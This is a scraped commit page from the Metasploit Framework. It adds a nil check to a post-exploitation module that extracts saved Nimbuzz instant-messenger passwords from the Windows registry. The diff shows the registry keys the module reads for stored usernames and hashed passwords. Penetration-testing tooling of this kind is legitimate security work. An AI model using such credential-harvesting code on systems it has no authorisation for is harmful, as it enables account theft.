Chk nil for user in case it returns nil, but password doesn't
git-svn-id: file:///home/svn/framework3/trunk@13880 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
f1f1d16f8b
commit
39049a71ca
|
@ -17,7 +17,7 @@ class Metasploit3 < Msf::Post
|
|||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info={})
|
||||
super( update_info( info,
|
||||
super(update_info( info,
|
||||
'Name' => 'Windows Gather Nimbuzz Instant Messenger Password Extractor',
|
||||
'Description' => %q{
|
||||
This module extracts the account passwords saved by Nimbuzz Instant
|
||||
|
@ -58,7 +58,7 @@ class Metasploit3 < Msf::Post
|
|||
return
|
||||
end
|
||||
|
||||
user = registry_getvaldata("HKU\\#{k}\\Software\\Nimbuzz\\PCClient\\Application\\", "Username")
|
||||
user = registry_getvaldata("HKU\\#{k}\\Software\\Nimbuzz\\PCClient\\Application\\", "Username") || ""
|
||||
hpass = registry_getvaldata("HKU\\#{k}\\Software\\Nimbuzz\\PCClient\\Application\\", "Password")
|
||||
|
||||
next if hpass == nil or hpass == ""
|
||||
|
|
Loading…
Reference in New Issue